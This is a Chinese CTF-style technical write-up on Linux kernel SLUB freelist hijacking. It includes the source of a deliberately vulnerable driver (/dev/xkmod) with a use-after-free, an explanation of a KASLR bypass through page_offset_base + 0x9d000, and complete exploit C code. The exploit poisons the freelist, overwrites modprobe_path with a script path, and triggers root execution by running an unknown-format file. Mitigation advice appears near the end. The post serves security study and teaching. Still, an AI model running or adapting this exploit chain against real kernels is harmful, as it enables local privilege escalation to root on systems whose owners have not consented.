【pwn4kernel】Kernel Freelist Hijacking技术分析

2026/02/21 pwn4kernel 共 32790 字,约 94 分钟

【pwn4kernel】Kernel Freelist Hijacking技术分析

1. 测试环境

测试版本:Linux-5.4.38 内核镜像地址

笔者测试的内核版本是 Linux (none) 5.4.38 #1 SMP Thu Jan 8 14:35:00 CST 2026 x86_64 GNU/Linux

编译选项:关闭CONFIG_SLAB_FREELIST_HARDENEDCONFIG_MEMCGCONFIG_STATIC_USERMODEHELPERCONFIG_HARDENED_USERCOPY选项。开启CONFIG_SLAB_FREELIST_RANDOMCONFIG_SLUBCONFIG_SLUB_DEBUGCONFIG_BINFMT_MISCCONFIG_E1000CONFIG_E1000E选项。完整配置参考.config

保护机制:KASLR/SMEP/SMAP/KPTI

测试驱动程序:笔者基于RWCTF2022 - Digging into kernel 2 实现了一个专用于辅助测试的内核驱动模块。该模块遵循Linux内核模块架构,在加载后动态创建/dev/xkmod设备节点,从而为用户态的测试程序提供了一个可控的、直接的内核交互通道。该驱动作为构建完整漏洞利用链的核心组件之一,为后续的漏洞验证、利用技术开发以及相关安全分析工作,提供了不可或缺的实验环境与底层系统支撑。

驱动源码如下:

/**
 * Copyright (c) 2026 BinRacer <native.lab@outlook.com>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 **/
// code base on RWCTF2022 - Digging into kernel 2
#include <linux/cdev.h>
#include <linux/device.h>
#include <linux/export.h>
#include <linux/fs.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/printk.h>
#include <linux/ptrace.h>
#include <linux/rwlock.h>
#include <linux/sched.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#define ALLOC_BUF 0x1111111
#define EDIT_BUF 0x6666666
#define READ_BUF 0x7777777

struct chunk_t {
	void *user_buf;
	size_t offset;
	size_t len;
};

static struct kmem_cache *xkmod_cache = NULL;
static void *buf = NULL;

static unsigned int major;
static struct class *xkmod_class;
static struct cdev xkmod_cdev;

static int xkmod_open(struct inode *inode, struct file *filp)
{
	pr_info("[xkmod:] Device open.\n");
	return 0;
}

static int xkmod_release(struct inode *inode, struct file *filp)
{
	kmem_cache_free(xkmod_cache, buf);
	pr_info("[xkmod:] Device release.\n");
	return 0;
}

static long xkmod_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
{

	long ret = 0;
	size_t offset = 0;
	size_t len = 0;
	void *user_buf = NULL;
	struct chunk_t user_chunk = { 0 };
	if (copy_from_user(&user_chunk, (void *)arg, sizeof(struct chunk_t))) {
		pr_info("[xkmod:] Error copy data ptr from user.\n");
		return -EFAULT;
	}
	offset = user_chunk.offset;
	len = user_chunk.len;
	user_buf = user_chunk.user_buf;
	switch (cmd) {
	case ALLOC_BUF:
		buf = kmem_cache_alloc(xkmod_cache, 0xcc0);
		break;
	case EDIT_BUF:
		if (!buf) {
			pr_info("[xkmod:] please alloc first before edit.\n");
			ret = -EFAULT;
			break;
		}
		if (offset > 0x70) {
			pr_info("[xkmod:] offset two big for edit.\n");
			ret = -EFAULT;
			break;
		}
		if (len > 0x50) {
			pr_info("[xkmod:] len two big for edit.\n");
			ret = -EFAULT;
			break;
		}
		if (copy_from_user(buf + offset, user_buf, len)) {
			pr_info("[xkmod:] Error copy data from user.\n");
			ret = -EFAULT;
			break;
		}
		pr_info("[xkmod:] copy data from user successful.\n");
		break;
	case READ_BUF:
		if (!buf) {
			pr_info("[xkmod:] please alloc first before read.\n");
			ret = -EFAULT;
			break;
		}
		if (offset > 0x70) {
			pr_info("[xkmod:] offset two big for read.\n");
			ret = -EFAULT;
			break;
		}
		if (len > 0x50) {
			pr_info("[xkmod:] len two big for read.\n");
			ret = -EFAULT;
			break;
		}
		if (copy_to_user(user_buf, buf + offset, len)) {
			pr_info("[xkmod:] Error copy data to user.\n");
			ret = -EFAULT;
			break;
		}
		pr_info("[xkmod:] copy data to user successful.\n");
		break;
	default:
		pr_info("[xkmod:] Unknown ioctl cmd!\n");
		ret = -EINVAL;
	}
	return ret;
}

struct file_operations xkmod_fops = {
	.owner = THIS_MODULE,
	.open = xkmod_open,
	.release = xkmod_release,
	.unlocked_ioctl = xkmod_ioctl,
};

static char *xkmod_devnode(struct device *dev, umode_t *mode)
{
	if (mode)
		*mode = 0666;
	return NULL;
}

static int __init init_xkmod(void)
{
	struct device *xkmod_device;
	int error;
	dev_t devt = 0;

	error = alloc_chrdev_region(&devt, 0, 1, "xkmod");
	if (error < 0) {
		pr_err("[xkmod:] Can't get major number!\n");
		return error;
	}
	major = MAJOR(devt);
	pr_info("[xkmod:] xkmod major number = %d.\n", major);

	xkmod_class = class_create(THIS_MODULE, "xkmod_class");
	if (IS_ERR(xkmod_class)) {
		pr_err("[xkmod:] Error creating xkmod class!\n");
		unregister_chrdev_region(MKDEV(major, 0), 1);
		return PTR_ERR(xkmod_class);
	}
	xkmod_class->devnode = xkmod_devnode;

	cdev_init(&xkmod_cdev, &xkmod_fops);
	xkmod_cdev.owner = THIS_MODULE;
	cdev_add(&xkmod_cdev, devt, 1);
	xkmod_device = device_create(xkmod_class, NULL, devt, NULL, "xkmod");
	if (IS_ERR(xkmod_device)) {
		pr_err("[xkmod:] Error creating xkmod device!\n");
		class_destroy(xkmod_class);
		unregister_chrdev_region(devt, 1);
		return -1;
	}
	xkmod_cache = kmem_cache_create("lalala", 192, 0, 0, 0);
	if (!xkmod_cache) {
		pr_info("[xkmod:] xkmod_cache slab cache create failed.\n");
		return -ENOMEM;
	}
	buf = NULL;
	pr_info("[xkmod:] xkmod module loaded.\n");
	return 0;
}

static void __exit exit_xkmod(void)
{
	if (xkmod_cache) {
		kmem_cache_destroy(xkmod_cache);
		pr_info("[xkmod:] xkmod_cache slab cache destroyed.\n");
	}
	unregister_chrdev_region(MKDEV(major, 0), 1);
	device_destroy(xkmod_class, MKDEV(major, 0));
	cdev_del(&xkmod_cdev);
	class_destroy(xkmod_class);
	pr_info("[xkmod:] xkmod module unloaded.\n");
}

module_init(init_xkmod);
module_exit(exit_xkmod);
MODULE_AUTHOR("BinRacer");
MODULE_LICENSE("GPL v2");
MODULE_DESCRIPTION("Welcome to the pwn4kernel challenge!");

2. 漏洞机制

本章节将深入分析内核模块中的内存管理机制,重点探讨SLUB分配器的freelist劫持利用方式。该内核模块实现了一个字符设备驱动,通过ioctl接口提供内存分配、编辑和读取功能,存在明显的竞争条件问题。

2-1. 内核模块核心功能

该字符设备驱动模块提供了简单的内核内存管理接口,通过/dev/xkmod设备节点提供服务。

主要数据结构

struct chunk_t {
    void *user_buf;    // 用户空间缓冲区地址
    size_t offset;     // 操作偏移量
    size_t len;        // 操作长度
};

核心功能命令

#define ALLOC_BUF 0x1111111  // 分配192字节内存
#define EDIT_BUF 0x6666666   // 编辑内存,偏移≤0x70,长度≤0x50
#define READ_BUF 0x7777777   // 读取内存,偏移≤0x70,长度≤0x50

模块初始化

xkmod_cache = kmem_cache_create("lalala", 192, 0, 0, 0);
  • 创建名为”lalala”的SLUB缓存,对象大小192字节
  • 对应kmalloc-192缓存,每个slab包含21个对象槽位

设备文件操作

static int xkmod_open(struct inode *inode, struct file *filp)
{
    pr_info("[xkmod:] Device open.\n");
    return 0;
}
  • 设备打开操作,记录日志但不做其他处理
  • 允许任意数量的进程同时打开设备

内存分配功能

case ALLOC_BUF:
    buf = kmem_cache_alloc(xkmod_cache, 0xcc0);
    break;
  • 从自定义SLUB缓存分配192字节内存
  • 使用GFP_KERNEL标志(0xcc0对应GFP_KERNEL)
  • 分配的内存指针存储在全局变量buf
  • 每次只能分配一个缓冲区,新分配会替换之前的指针

内存编辑功能

case EDIT_BUF:
    if (!buf) {
        pr_info("[xkmod:] please alloc first before edit.\n");
        ret = -EFAULT;
        break;
    }
    if (offset > 0x70) {
        pr_info("[xkmod:] offset two big for edit.\n");
        ret = -EFAULT;
        break;
    }
    if (len > 0x50) {
        pr_info("[xkmod:] len two big for edit.\n");
        ret = -EFAULT;
        break;
    }
    if (copy_from_user(buf + offset, user_buf, len)) {
        pr_info("[xkmod:] Error copy data from user.\n");
        ret = -EFAULT;
        break;
    }
    break;
  • 检查内存是否已分配
  • 偏移量限制:offset ≤ 0x70
  • 长度限制:len ≤ 0x50
  • 从用户空间拷贝数据到内核缓冲区
  • 允许修改已分配内存的任意位置(在限制范围内)

内存读取功能

case READ_BUF:
    if (!buf) {
        pr_info("[xkmod:] please alloc first before read.\n");
        ret = -EFAULT;
        break;
    }
    if (offset > 0x70) {
        pr_info("[xkmod:] offset two big for read.\n");
        ret = -EFAULT;
        break;
    }
    if (len > 0x50) {
        pr_info("[xkmod:] len two big for read.\n");
        ret = -EFAULT;
        break;
    }
    if (copy_to_user(user_buf, buf + offset, len)) {
        pr_info("[xkmod:] Error copy data to user.\n");
        ret = -EFAULT;
        break;
    }
    break;
  • 检查内存是否已分配
  • 偏移量限制:offset ≤ 0x70
  • 长度限制:len ≤ 0x50
  • 从内核缓冲区拷贝数据到用户空间
  • 允许读取已分配内存的任意位置(在限制范围内)

内存释放机制

static int xkmod_release(struct inode *inode, struct file *filp)
{
    kmem_cache_free(xkmod_cache, buf);
    pr_info("[xkmod:] Device release.\n");
    return 0;
}
  • 设备文件关闭时自动释放分配的内存
  • 释放操作不检查是否有其他引用
  • 如果内存未被分配,释放操作可能产生未定义行为

关键设计缺陷

  1. 使用全局变量buf存储内存指针
  2. 多个进程可同时访问同一全局状态
  3. 缺乏锁机制等同步原语
  4. 释放操作不验证内存使用状态
  5. 无引用计数机制管理内存生命周期
flowchart TD
    A[用户空间进程] --> B[打开/dev/xkmod设备]
    B --> C[ioctl: ALLOC_BUF分配内存]
    C --> D[ioctl: EDIT_BUF编辑内存]
    C --> E[ioctl: READ_BUF读取内存]
    B --> F[关闭设备文件]
    F --> G[释放内存]

    style A fill:#e1f5fe
    style B fill:#e1f5fe
    style C fill:#c8e6c9
    style D fill:#fff3e0
    style E fill:#d1ecf1
    style F fill:#e1f5fe
    style G fill:#ffccbc

2-2. 竞争条件与内存状态冲突

内核模块中的竞争条件源于多个进程可同时操作同一共享资源,而没有适当的同步机制。

内存状态管理问题

  1. 全局状态共享:单一全局指针被多个进程共享访问
  2. 释放时机不确定:内存释放与文件描述符关闭绑定,各进程生命周期独立
  3. 状态验证缺失:读写操作仅检查指针非空,不验证内存是否有效分配
  4. 并发访问冲突:多个进程可同时对同一内存区域进行读写操作

竞争条件触发场景: 考虑两个进程的操作序列:进程A打开设备、分配内存、进行读写操作;同时进程B也打开设备并尝试操作同一内存区域。如果进程A在操作过程中关闭文件描述符,内存将被释放,但进程B仍持有对已释放内存区域的引用,可继续执行读写操作,形成典型的释放后使用条件。

flowchart TD
    A[进程A: 打开设备] --> B[分配内存]
    B --> C[进程A进行读写操作]
    C --> D[进程B: 打开同一设备]
    D --> E[进程B尝试读写内存]
    C --> F[进程A关闭文件描述符]
    F --> G[内存被释放]
    E --> H[进程B继续访问已释放内存]
    H --> I[释放后使用条件UAF]

    style A fill:#e1f5fe
    style B fill:#e1f5fe
    style C fill:#e1f5fe
    style D fill:#f3e5f5
    style E fill:#f3e5f5
    style F fill:#ffccbc
    style G fill:#ffccbc
    style H fill:#ffcdd2
    style I fill:#ffcdd2,stroke:#f44336,stroke-width:2px

内核配置环境: 测试系统配置了特定的内核编译选项:

  • 禁用CONFIG_SLAB_FREELIST_HARDENED:移除了freelist加固保护
  • 禁用CONFIG_MEMCG:不使用内存控制组功能
  • 禁用CONFIG_STATIC_USERMODEHELPER:使用动态用户模式助手路径
  • 启用CONFIG_SLAB_FREELIST_RANDOM:启用freelist随机化

2-3. SLUB分配器内部机制

SLUB是Linux内核默认的小内存分配器,其设计针对性能和内存效率进行了优化。

SLUB缓存结构: 每个SLUB缓存由多个slab组成,每个slab是物理上连续的内存页,被划分为多个相同大小的对象。缓存维护多个链表管理不同状态的slab:完全分配、部分分配和完全空闲。

freelist管理机制: SLUB使用内联freelist管理空闲对象。当对象被释放时,其前8字节(在64位系统上)被用作freelist指针,指向同一slab中的下一个空闲对象。

freelist内存布局图示: 在SLUB分配器中,空闲对象通过内联的freelist指针连接。下图展示了一个简单的freelist链表示例,其中两个空闲对象通过freelist指针连接。

flowchart LR
    subgraph 空闲对象1
        direction LR
        A1[对象1地址] --> B1[freelist指针]
        B1 --> C1[对象1数据区域]
    end

    subgraph 空闲对象2
        direction LR
        A2[对象2地址] --> B2[freelist指针]
        B2 --> C2[对象2数据区域]
    end

    B1 --> A2

    style A1 fill:#e1f5fe
    style B1 fill:#c8e6c9
    style C1 fill:#e1f5fe
    style A2 fill:#e1f5fe
    style B2 fill:#c8e6c9
    style C2 fill:#e1f5fe
    style B1 stroke:#4caf50,stroke-width:2px
    style A2 stroke:#4caf50,stroke-width:2px

当对象1被释放时,其前8字节存储一个freelist指针,指向下一个空闲对象(对象2)。对象2的freelist指针指向下一个空闲对象,以此类推,直到最后一个空闲对象的freelist指针为NULL。

在freelist劫持中,通过修改空闲对象1的freelist指针,使其指向想要的目标地址,从而在后续分配中,当分配完对象1后,下一次分配就会从控制的目标地址返回。

freelist与glibc分配器对比

  1. 无元数据开销:SLUB对象不包含大小、标志等头部信息
  2. 内联freelist:空闲指针存储在释放的对象内部
  3. CPU本地缓存:每个CPU维护本地缓存加速操作
  4. 随机化保护:开启CONFIG_SLAB_FREELIST_RANDOM时,释放对象顺序随机化

freelist劫持原理: 控制释放对象的freelist指针可影响后续的内存分配。如果能够修改某个空闲对象的freelist指针,使其指向特定地址,那么下次分配可能从该地址返回”内存”。然而,由于随机化保护,简单的单次修改难以成功,需要通过统计方法提高成功率。

flowchart TD
    A[内存分配请求] --> B{CPU本地freelist是否为空?}
    B -- 否 --> C[从本地freelist取对象返回]
    B -- 是 --> D[从slab的freelist补充]
    D --> E{slab的freelist是否为空?}
    E -- 否 --> F[填充本地freelist]
    E -- 是 --> G[分配新slab]
    F --> C
    G --> C

    style A fill:#e1f5fe
    style C fill:#c8e6c9
    style D fill:#fff3e0
    style F fill:#fff3e0
    style G fill:#ffccbc

2-4. page_offset_base + 0x9d000内存布局原理

在内核地址信息获取阶段,利用page_offset_base + 0x9d000地址的原理基于Linux内核的特定内存布局特征。理解这一原理对成功实现内核地址泄露至关重要。

page_offset_base概念page_offset_base是内核虚拟地址空间中直接映射物理内存区域的起始地址。在x86_64架构中,内核虚拟地址空间被划分为几个主要区域:

  1. 直接映射区域:从page_offset_base开始,线性映射所有物理内存
  2. vmalloc区域:用于动态内核内存分配
  3. 内核代码区域:包含内核镜像、静态数据等

内存布局特征: 在Linux内核的早期初始化阶段,特定函数secondary_startup_64的地址存储在page_offset_base + 0x9d000偏移处。这个位置是内核初始化代码中的一个固定点,包含对secondary_startup_64函数的引用。

secondary_startup_64函数作用secondary_startup_64是x86_64架构中AP(Application Processor,非引导处理器)的启动入口点。当系统启动时,引导处理器执行主初始化路径,而非引导处理器从该函数开始执行。其地址在内核初始化时被记录在特定位置。

地址计算公式

\[\text{目标地址} = \text{page_offset_base} + \text{0x9d000}\] \[\text{secondary_startup_64地址} = \text{目标地址处存储的值}\] \[\text{内核基址} = \text{secondary_startup_64地址} - \text{已知偏移}\]

内存访问示意图

flowchart TD
    A[page_offset_base<br/>直接映射区起始] --> B[+ 0x9d000偏移]
    B --> C["存储secondary_startup_64地址的位置"]
    C --> D["读取该位置内容"]
    D --> E["获取secondary_startup_64实际地址"]
    E --> F["计算内核基址 = secondary_startup_64地址 - 已知偏移"]

    style A fill:#e1f5fe
    style B fill:#fff3e0
    style C fill:#f3e5f5
    style D fill:#e1f5fe
    style E fill:#c8e6c9
    style F fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

重要性: 这种方法的优势在于不依赖内核导出符号,通过内核内存的固有布局特征获取关键地址信息。即使内核启用了KASLR,相对偏移关系保持不变,使得该方法具有较高的可靠性。

2-5. 利用链设计与实现

利用过程分为两个逻辑阶段:首先获取内核地址信息绕过地址随机化保护,然后利用获取的信息修改关键内核数据结构。

完整利用过程概览

flowchart TD
    A[开始利用过程] --> B[阶段一: 内核地址信息获取]
    B --> C["泄露内核堆地址<br/>读取freelist指针"]
    C --> D["计算page_offset_base<br/>定位目标地址"]
    D --> E["修改freelist指针<br/>实现第一次劫持"]
    E --> F["堆喷射读取<br/>获取secondary_startup_64地址"]
    F --> G["计算内核基址<br/>绕过KASLR"]
    G --> H[阶段二: 内核数据结构修改]
    H --> I["计算modprobe_path地址<br/>准备第二次劫持"]
    I --> J["修改freelist指针<br/>指向modprobe_path"]
    J --> K["堆喷射控制<br/>获得目标区域控制权"]
    K --> L["修改modprobe_path<br/>为自定义脚本路径"]
    L --> M[触发内核执行未知格式文件]
    M --> N[内核调用自定义脚本]
    N --> O[完成特定操作]

    style A fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
    style B fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
    style C fill:#e1f5fe
    style D fill:#fff3e0
    style E fill:#fff3e0
    style F fill:#e1f5fe
    style G fill:#c8e6c9
    style H fill:#e1f5fe,stroke:#2196f3,stroke-width:2px
    style I fill:#fff3e0
    style J fill:#fff3e0
    style K fill:#e1f5fe
    style L fill:#fff3e0
    style M fill:#f3e5f5
    style N fill:#c8e6c9
    style O fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

2-5-1. 阶段一:内核地址信息获取

  1. 初始状态准备
    • 打开两个设备文件描述符fd0和fd1
    • 通过fd0执行内存分配操作,创建初始的内存分配状态
    • 关闭fd0触发内存释放,在SLUB缓存中创建空闲对象
    • 此时释放对象的freelist指针指向下一个空闲位置
  2. freelist状态读取
    • 通过fd1执行内存读取操作
    • 读取释放内存的前8字节内容,获取freelist指针值
    • 这个指针值是内核堆地址,提供了内存布局的参考点
  3. page_offset_base计算
    • 基于获取的堆地址计算page_offset_base
    • 堆地址位于直接映射区域,与page_offset_base有固定偏移关系
    • 通过掩码操作提取page_offset_base
  4. 目标地址定位
    • 计算page_offset_base + 0x9d000地址
    • 此位置存储secondary_startup_64函数的地址
    • 减去0x10偏移以确保内存对齐和正确访问
  5. freelist指针修改
    • 通过编辑操作修改freelist指针,使其指向计算得到的目标地址
    • 考虑内存对齐要求,调整目标地址确保正确性
    • 此时freelist链被重定向到内核关键数据区域
  6. 堆喷射与地址获取
    • 进行21次分配尝试(基于kmalloc-192缓存每个slab的对象数量)
    • 由于修改了freelist指针,部分分配可能从目标地址区域返回
    • 每次分配后读取内容,搜索特定的地址模式
    • 经过足够次数的尝试,有高概率获得secondary_startup_64函数地址
    • 基于已知偏移计算内核镜像基址,完全绕过KASLR保护

阶段一数学表示

\[\text{page_offset_base} = \text{堆地址} \ \& \ \text{掩码}\] \[\text{目标地址} = \text{page_offset_base} + \text{0x9d000}\] \[\text{内核基址} = \text{secondary_startup_64地址} - \text{固定偏移}\]

2-5-2. 阶段二:内核数据结构修改

modprobe_path机制原理modprobe_path是内核导出的全局字符数组,默认值为/sbin/modprobe。当内核需要加载未知格式的可执行文件时,会通过call_usermodehelper机制执行该路径指定的程序。这个机制原本用于动态加载内核模块,但可被重用来执行任意用户空间程序。

  1. 地址计算准备
    • 使用阶段一获得的内核基址计算modprobe_path地址
    • modprobe_path是内核全局变量,存储/sbin/modprobe路径
    • 计算modprobe_path - 0x10作为freelist目标地址,确保内存对齐
  2. freelist重新定向
    • 再次通过类似操作构造freelist状态
    • 修改freelist指针指向modprobe_path附近区域
    • 考虑内存对齐和偏移,确保后续分配获得对该区域的控制
  3. 控制权获取
    • 进行21次堆喷射分配尝试
    • 部分分配将从目标区域返回,获得对modprobe_path附近内存的控制权
    • 验证分配内容,确认获得了对目标内存区域的控制
  4. 路径修改操作
    • modprobe_path修改为自定义脚本路径
    • 确保新路径符合内核要求,以null结尾的字符串
    • 修改后,内核执行未知格式文件时将调用自定义脚本
  5. 触发机制执行
    • 准备一个特殊格式的文件,其文件头不被任何已注册的二进制格式处理器识别
    • 执行该文件,触发内核的未知格式处理流程
    • 内核调用修改后的modprobe_path指向的程序
    • 自定义脚本以root权限执行,完成预定义的操作

阶段二数学表示

\[\text{modprobe_path地址} = \text{内核基址} + \text{modprobe_path偏移}\] \[\text{freelist目标地址} = \text{modprobe_path地址} - \text{0x10}\]

完整的内核执行路径

flowchart TD
    A[用户空间执行未知格式文件] --> B[__x64_sys_execve<br/>系统调用入口]
    B --> C[do_execveat_common]
    C --> D[search_binary_handler<br/>搜索二进制格式处理器]
    D --> E{是否找到匹配处理器?}
    E -- 是 --> F[执行相应格式处理器]
    E -- 否 --> G["request_module 'binfmt-%04x'"<br/>尝试加载格式处理模块]
    G --> H[call_usermodehelper<br/>调用用户空间助手]
    H --> I[读取modprobe_path变量]
    I --> J[执行modprobe_path指向的程序]
    J --> K[自定义脚本以root权限执行]

    style A fill:#e1f5fe
    style B fill:#d4edda
    style C fill:#d1ecf1
    style D fill:#d4edda
    style E fill:#fff3e0
    style F fill:#c8e6c9
    style G fill:#d1ecf1
    style H fill:#d4edda
    style I fill:#f3e5f5
    style J fill:#c8e6c9
    style K fill:#c8e6c9,stroke:#4caf50,stroke-width:2px

2-6. 技术要点与防护分析

关键技术要点

  1. 竞争条件利用:通过精心设计的操作序列,利用缺乏同步保护的全局状态,构造特定的内存状态
  2. freelist操作:深入理解SLUB分配器的内部机制,特别是内联freelist的管理方式
  3. 统计方法应用:通过多次尝试(堆喷射)绕过freelist随机化保护,基于概率提高成功率
  4. 内核布局知识:利用已知的内核内存布局特征,从部分信息推导完整地址信息
  5. 内核机制利用:利用合法的内核功能(modprobe机制)实现权限提升,而非直接修改内核代码
  6. 内存布局利用:深入理解page_offset_base + 0x9d000等内核内存布局特征,实现可靠的内核地址泄露

安全防护分析

  1. 同步机制缺失:模块缺乏基本的锁保护,允许多个进程无协调地访问共享资源
  2. 状态验证不足:操作前未充分验证内存状态,允许对已释放内存的访问
  3. 配置选项影响:特定内核配置选项的禁用降低了系统的安全防护能力
  4. 随机化局限性:freelist随机化提供了一定保护,但通过统计方法仍可绕过
  5. 内存布局暴露:固定的内核内存布局特征可能被用于绕过地址随机化保护

防护建议

  1. 添加同步机制:在全局状态访问处添加适当的锁保护
  2. 加强状态验证:在内存操作前验证内存的分配状态
  3. 使用引用计数:对共享资源使用引用计数,确保在无引用时再释放
  4. 启用完整保护:在生产系统中启用所有可用的安全配置选项
  5. 随机化增强:增强内核地址随机化,减少可预测的内存布局特征
  6. 访问控制:对关键内核数据结构的访问增加权限验证

整个分析展示了通过深入理解内核内存管理机制和精心设计的操作序列,可以在存在缺陷的内核模块中实现从内存状态操控到控制流引导的完整技术链。特别是对page_offset_base + 0x9d000内存布局特征的深入理解和利用,为内核地址泄露提供了可靠的方法。这种分析有助于理解内核安全机制的设计原理和潜在弱点,为系统安全加固提供参考依据。

3. 实战演练

exploit核心代码如下:

/* Kernel symbol address for modprobe_path */
#define MODPROBE_PATH 0xffffffff82444740

/* Root script to be executed via modprobe */
#define ROOT_SCRIPT_PATH "/home/ctf/getshell"

char root_script[] = "#!/bin/sh\nchown -R 1000:1000 /root\nchmod 777 /root/flag";

/* Structure for interacting with the kernel module */
struct chunk_info {
    size_t *user_buffer;
    size_t offset;
    size_t length;
};

/* Wrapper functions for ioctl operations */
void allocate_chunk(int device_fd, struct chunk_info *chunk) {
    ioctl(device_fd, 0x1111111, chunk);
}

void edit_chunk(int device_fd, struct chunk_info *chunk) {
    ioctl(device_fd, 0x6666666, chunk);
}

void read_chunk(int device_fd, struct chunk_info *chunk) {
    ioctl(device_fd, 0x7777777, chunk);
}

int main() {
    int device_fds[3];               /* File descriptors for the kernel device */
    int root_script_fd, flag_fd;     /* File descriptors for script and flag */
    size_t heap_leak, kernel_base;   /* Leaked kernel addresses */
    size_t kernel_offset;            /* Offset from kernel base */
    size_t page_offset_base;         /* Guessed page offset base */
    char flag_buffer[0x100];         /* Buffer to store the flag */
    int target_found = 0;            /* Flag for finding target chunk */
    struct chunk_info chunk;         /* Chunk metadata for operations */

    /* Phase 1: Initial setup */
    log.info("Phase 1: Initial setup");
    bind_core(0);
    for (int i = 0; i < 3; i++) {
        device_fds[i] = open("/dev/xkmod", O_RDONLY);
        if (device_fds[i] < 0) {
            log.error("Failed to open device");
            exit(EXIT_FAILURE);
        }
    }

    /* Create the fake modprobe script */
    root_script_fd = open(ROOT_SCRIPT_PATH, O_RDWR | O_CREAT, 0777);
    if (root_script_fd < 0) {
        log.error("Failed to create root script");
        exit(EXIT_FAILURE);
    }
    write(root_script_fd, root_script, sizeof(root_script));
    close(root_script_fd);
    system("chmod 777 " ROOT_SCRIPT_PATH);
    log.success("Root script created at %s", ROOT_SCRIPT_PATH);

    /* Phase 2: Construct Use-After-Free (UAF) */
    log.info("Phase 2: Constructing UAF");
    chunk.user_buffer = malloc(0x1000);
    if (!chunk.user_buffer) {
        log.error("Memory allocation failed");
        exit(EXIT_FAILURE);
    }
    chunk.offset = 0;
    chunk.length = 0x50;
    memset(chunk.user_buffer, 0, 0x1000);

    allocate_chunk(device_fds[0], &chunk);
    close(device_fds[0]);  /* Trigger UAF by closing the file descriptor */

    /* Phase 3: Leak kernel heap address and guess page_offset_base */
    log.info("Phase 3: Leaking kernel heap address");
    read_chunk(device_fds[1], &chunk);
    heap_leak = chunk.user_buffer[0];
    page_offset_base = heap_leak & 0xfffffffff0000000;
    log.success("Kernel heap leak: 0x%lx", heap_leak);
    log.success("Guessed page_offset_base: 0x%lx", page_offset_base);

    /* Phase 4: Leak kernel base by allocating a fake chunk */
    log.info("Phase 4: Leaking kernel base");
    chunk.user_buffer[0] = page_offset_base + 0x9d000 - 0x10;
    chunk.offset = 0;
    chunk.length = 8;
    edit_chunk(device_fds[1], &chunk);

    for (int i = 0; i < 21; i++) {
        allocate_chunk(device_fds[1], &chunk);
        chunk.length = 0x40;
        read_chunk(device_fds[1], &chunk);
        log.info("freelist->next chunk[%d] => %#-18lx, secondary_startup_64: %#-18lx",
                 i, chunk.user_buffer[0], chunk.user_buffer[2]);
        if ((chunk.user_buffer[2] & 0xfff) == 0x30 && chunk.user_buffer[0] == 0x0) {
            target_found = 1;
            log.success("Found target chunk for kernel base leak");
            break;
        }
    }
    if (!target_found) {
        log.error("Failed to leak kernel base. Exiting");
        exit(EXIT_FAILURE);
    }
    kernel_base = chunk.user_buffer[2] - 0x30;
    kernel_offset = kernel_base - 0xffffffff81000000;
    log.success("Kernel base: 0x%lx", kernel_base);
    log.success("Kernel offset: 0x%lx", kernel_offset);

    /* Phase 5: Hijack modprobe_path by manipulating the freelist */
    log.info("Phase 5: Hijacking modprobe_path");
    allocate_chunk(device_fds[1], &chunk);
    close(device_fds[1]);  /* Free the chunk to prepare for freelist poisoning */

    chunk.user_buffer[0] = kernel_offset + MODPROBE_PATH - 0x10;
    chunk.offset = 0;
    chunk.length = 0x40;
    edit_chunk(device_fds[2], &chunk);

    target_found = 0;
    for (int i = 0; i < 21; i++) {
        allocate_chunk(device_fds[2], &chunk);
        read_chunk(device_fds[2], &chunk);
        log.info("freelist->next chunk[%d] => %#-18lx, modprobe_path value: %#-18lx",
                 i, chunk.user_buffer[0], chunk.user_buffer[2]);
        if (chunk.user_buffer[2] == 0x6f6d2f6e6962732f) {  /* "/sbin/modprobe" in hex */
            target_found = 1;
            log.success("Found target chunk for modprobe_path");
            log.success("Current modprobe_path: %s", (char *)&chunk.user_buffer[2]);
            break;
        }
    }
    if (!target_found) {
        log.error("Failed to hijack modprobe_path. Exiting");
        exit(EXIT_FAILURE);
    }

    /* Overwrite modprobe_path with the path to our script */
    strcpy((char *)&chunk.user_buffer[2], ROOT_SCRIPT_PATH);
    chunk.length = 0x30;
    edit_chunk(device_fds[2], &chunk);
    log.success("modprobe_path overwritten to: %s", ROOT_SCRIPT_PATH);

    /* Phase 6: Trigger the fake modprobe_path */
    log.info("Phase 6: Triggering fake modprobe_path");
    system("echo -e '\\xff\\xff\\xff\\xff' > /home/ctf/fake");
    system("chmod +x /home/ctf/fake");
    system("/home/ctf/fake");

    /* Phase 7: Read the flag */
    log.info("Phase 7: Reading flag");
    memset(flag_buffer, 0, sizeof(flag_buffer));
    flag_fd = open("/root/flag", O_RDWR);
    if (flag_fd < 0) {
        log.error("Failed to open flag file");
        exit(EXIT_FAILURE);
    }
    read(flag_fd, flag_buffer, sizeof(flag_buffer));
    log.success("Flag: %s", flag_buffer);

    /* Cleanup */
    for (int i = 0; i < 3; i++) {
        if (device_fds[i] >= 0) close(device_fds[i]);
    }
    free(chunk.user_buffer);
    return 0;
}

本章节将详细展示针对内核模块漏洞的完整验证过程,通过分阶段的操作演示实现从内存状态控制到内核机制调用的技术链。整个过程结合调试器信息展示内存状态变化,确保验证的透明性和可重复性。

3-1. 环境准备与初始化

验证过程的初始阶段包括必要的环境设置、资源分配和脚本准备,为后续操作奠定基础。

进程调度优化: 为减少多核环境下的竞争条件,将验证进程绑定到特定CPU核心。这通过sched_setaffinity系统调用实现,确保内存分配和释放操作在同一CPU核心的SLUB缓存中进行。

验证脚本设计: 创建验证脚本/home/ctf/getshell,内容设计为修改目标文件权限,以便后续验证。脚本执行权限设置为777,确保任何用户均可执行。

设备文件操作: 打开三个独立的设备文件描述符,分别用于不同的验证阶段:

  • device_fds[0]: 用于初始内存分配和释放
  • device_fds[1]: 用于内存状态读取和freelist劫持
  • device_fds[2]: 用于最终的内存控制和验证

内存缓冲区分配: 分配4KB用户空间缓冲区,用于与内核模块交互。缓冲区初始化为零,避免未初始化数据影响验证结果。

调试器准备: 启动调试器并附加到内核,准备观察内存状态变化。设置断点在关键的内核函数,如kmem_cache_allockmem_cache_free

flowchart TD
    A[开始验证流程] --> B[绑定进程到CPU核心0]
    B --> C[打开/dev/xkmod设备]
    C --> D[创建3个独立文件描述符]
